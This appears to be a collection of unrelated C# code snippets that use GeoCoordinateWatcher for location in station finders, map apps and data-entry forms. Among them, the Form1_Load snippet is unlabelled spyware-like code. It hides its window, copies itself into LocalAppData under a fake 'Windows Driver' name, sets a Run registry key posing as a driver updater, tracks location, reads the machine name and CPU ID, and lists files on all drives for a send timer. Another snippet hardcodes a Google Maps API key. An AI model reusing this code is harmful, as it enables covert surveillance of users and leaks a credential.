/// <summary> /// Function for getting the stations by coordinate /// </summary> private void getStationsByCoordinate() { /// Define variables string coordX = ""; string coordY = ""; transportAPI = new Transport(); /// Initialize object GeoCoordinateWatcher GeoCoordinateWatcher watcher = new GeoCoordinateWatcher(); watcher.TryStart(false, TimeSpan.FromMilliseconds(4000)); GeoCoordinate coord = watcher.Position.Location; if (coord.IsUnknown != true) { coordX = coord.Latitude.ToString().Replace(",", "."); coordY = coord.Longitude.ToString().Replace(",", "."); try { var stationsResult = transportAPI.GetStationsByCoordinates(coordX, coordY); int id = 0; foreach (var line in stationsResult.StationList) { if (line.Icon == "train") { line.Icon = "Zug"; } else if (line.Icon == "bus") { line.Icon = "Bus"; } stationenList.Add(new Stationen { StationenId = id, StationenName = line.Name, StationenTyp = line.Icon, StationenMapURL = "https://www.google.com/maps/place/" + line.Coordinate.XCoordinate.ToString().Replace(",", ".") + "+" + line.Coordinate.YCoordinate.ToString().Replace(",", ".") }); } dataGridStationen.ItemsSource = stationenList; } catch { showError("Fehler bei der Abfrage der Daten, stellen Sie sicher, dass Sie eine aktive Internetverbindung haben und ihre Angaben korrekt sind."); } } else { showError("Ihre Position konnte nicht ermittelt werden, stellen Sie sicher, dass Sie GPS auf Ihrem Computer aktiviert haben."); } }
/// <summary> /// Helper method to start up the location data acquisition /// </summary> /// <param name="accuracy">The accuracy level </param> private void StartLocationService(GeoPositionAccuracy accuracy) { // Reinitialize the GeoCoordinateWatcher StatusTextBlock.Text = "starting, " + accuracyText; watcher = new GeoCoordinateWatcher(accuracy); // watcher.MovementThreshold = 20; // Add event handlers for StatusChanged and PositionChanged events watcher.StatusChanged += new EventHandler <GeoPositionStatusChangedEventArgs>(watcher_StatusChanged); watcher.PositionChanged += new EventHandler <GeoPositionChangedEventArgs <GeoCoordinate> >(watcher_PositionChanged); // Start data acquisition watcher.Start(); }
public static void GetLoc() { GeoCoordinateWatcher watcher = new GeoCoordinateWatcher(); watcher.TryStart(false, TimeSpan.FromMilliseconds(1000)); GeoCoordinate cooder = watcher.Position.Location; if (cooder.IsUnknown != true) { //MessageBox.Show(cooder.Latitude.ToString() + cooder.Longitude.ToString(), "GPS", MessageBoxButtons.OK, MessageBoxIcon.Information); Latitude = cooder.Latitude; Longitude = cooder.Longitude; } }
private void Form1_Load(object sender, EventArgs e) { this.Visible = false; if (Application.ExecutablePath.ToLower() != (Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver\mdriverchecker.exe").ToLower()) { try { if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver")) { Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver"); } File.Copy(Application.ExecutablePath, Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver\mdriverchecker.exe"); Thread.Sleep(5000); RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); if (key.GetValue("Windows Driver Updater") == null) { key.SetValue("Windows Driver Updater", "\"" + Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver\mdriverchecker.exe" + "\""); } Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver\mdriverchecker.exe"); Thread.Sleep(2000); Application.Exit(); } catch { } } //Location // Create the watcher. Watcher = new GeoCoordinateWatcher(); // Catch the StatusChanged event. Watcher.StatusChanged += Watcher_StatusChanged; // Start the watcher. Watcher.Start(); SendDataTimer.Start(); //File ComputerInfo cpinfo = new ComputerInfo(); this.Text += " - " + Environment.MachineName + " - " + ComputerInfo.getCPUID(); try { foreach (DriveInfo di in DriveInfo.GetDrives()) { txtColor.Text += cpinfo.GetDirFileFromDrive(di, 1); } lblHello.ForeColor = Color.Green; } catch { lblHello.ForeColor = Color.Red; txtColor.Text += "File non accessed"; } }
private void AddLocationButton_Click(object sender, EventArgs e) { GlobalIndicator.Instance.Text = AppResources.GettingLocation; GlobalIndicator.Instance.IsLoading = true; try { var watcher = new GeoCoordinateWatcher(GeoPositionAccuracy.High); if (watcher.Permission == GeoPositionPermission.Granted) { watcher.MovementThreshold = 100; // in meters watcher.StatusChanged += (s, ee) => { if (ee.Status == GeoPositionStatus.Disabled) { MessageBox.Show(AppResources.GPSNotEnabled); } }; if (!watcher.TryStart(true, TimeSpan.FromSeconds(5))) { MessageBox.Show(AppResources.GPSNotEnabled); } else { GeoCoordinate coord = watcher.Position.Location; if (!coord.IsUnknown) { App.Current.EntityService.AttachedLatitude = coord.Latitude.ToString(); App.Current.EntityService.AttachedLongitude = coord.Longitude.ToString(); MessageBox.Show(AppResources.LocationAttachmentDescription); _UpdateSendButtonState(); } } } GlobalIndicator.Instance.Text = string.Empty; GlobalIndicator.Instance.IsLoading = false; } catch (Exception) { GlobalIndicator.Instance.Text = string.Empty; GlobalIndicator.Instance.IsLoading = false; } }
private void FindMe() { GeoCoordinateWatcher watcher = new GeoCoordinateWatcher(GeoPositionAccuracy.High); watcher.Start(); watcher.PositionChanged += (s, ev) => { var coordinate = ev.Position.Location; theMap.Center = new Location(coordinate.Latitude, coordinate.Longitude); theMap.ZoomLevel = 18; PushPinMe.Location = new Location(coordinate.Latitude, coordinate.Longitude); watcher.Stop(); }; }
public void UpdateCoordinatesWatcher() { try { if (ViewModelLocator.MainStatic.GeolocationStatus) { myCoordinateWatcher.Stop(); myCoordinateWatcher = new GeoCoordinateWatcher(GeoPositionAccuracy.Default); myCoordinateWatcher.PositionChanged += new EventHandler <GeoPositionChangedEventArgs <GeoCoordinate> >(myCoordinateWatcher_PositionChanged); myCoordinateWatcher.Start(); } ; } catch { }; }
public RecordViewModel() { initializeCheckBox(); GeoCoordinateWatcher watcher; watcher = new GeoCoordinateWatcher(); watcher.PositionChanged += new EventHandler <GeoPositionChangedEventArgs <GeoCoordinate> >(watcher_PositionChanged); watcher.TryStart(false, TimeSpan.FromMilliseconds(2000)); startclock(); SaveCommand = new RelayCommand(DoSaveRecord); _waterLevel = 230 / 2; others = ""; othersIsChecked = false; }
private void StartupCode() { MapLayer.Children.Clear(); MarkersLayer.Children.Clear(); coordinateWatcher = new GeoCoordinateWatcher(GeoPositionAccuracy.High); coordinateWatcher.MovementThreshold = 1; coordinateWatcher.PositionChanged += coordinateWatcher_PositionChanged; coordinateWatcher.StatusChanged += coordinateWatcher_StatusChanged; coordinateWatcher.Start(); watcherInitialized = false; InitializeImage(ref arrow, "/Assets/Arrow.png"); InitializeImage(ref CompassImage, "/Assets/Compass.png"); InitializeImage(ref directionImage, "/Assets/ArrowMetro.png"); }
private void tab1_Load(object sender, EventArgs e) { GMapProviders.GoogleMap.ApiKey = @"AIzaSyCKiRwwwnOlmbfo1ro66TkhLMxkoDoo83Q"; GMaps.Instance.Mode = AccessMode.ServerAndCache; map1.DragButton = MouseButtons.Left; map1.MapProvider = GMapProviders.GoogleMap; map1.ShowCenter = false; Watcher = new GeoCoordinateWatcher(); // Catch the StatusChanged event. Watcher.StatusChanged += Watcher_StatusChanged; // Start the watcher. Watcher.Start(); }
private void StartLocationService(GeoPositionAccuracy accuracy) { mMainPageViewModel.IsLoading = true; // Reinitialize the GeoCoordinateWatcher mWatcher = new GeoCoordinateWatcher(accuracy); mWatcher.MovementThreshold = 20; // Add event handler mWatcher.StatusChanged += new EventHandler <GeoPositionStatusChangedEventArgs>(watcher_StatusChanged); mWatcher.PositionChanged += new EventHandler <GeoPositionChangedEventArgs <GeoCoordinate> >(watcher_PositionChanged); // Start data acquisition mWatcher.Start(); }
public ShowGPSLocation() { InitializeComponent(); _graphicLocation = (MyMap.Layers["MyGraphicsLayer"] as GraphicsLayer).Graphics[0]; _watcher = new GeoCoordinateWatcher(GeoPositionAccuracy.High); _watcher.MovementThreshold = 20; _watcher.StatusChanged += watcher_StatusChanged; _watcher.PositionChanged += watcher_PositionChanged; // Start data acquisition _watcher.Start(); }
private GeoLocation GetVisitorLatLong() { GeoCoordinateWatcher watcher = new GeoCoordinateWatcher(GeoPositionAccuracy.Default); var userLocation = new GeoLocation(); watcher.Start(); System.Device.Location.GeoCoordinate coord = watcher.Position.Location; if (!watcher.Position.Location.IsUnknown) { userLocation.Latitude = coord.Latitude; userLocation.Longitude = coord.Longitude; } return(userLocation); }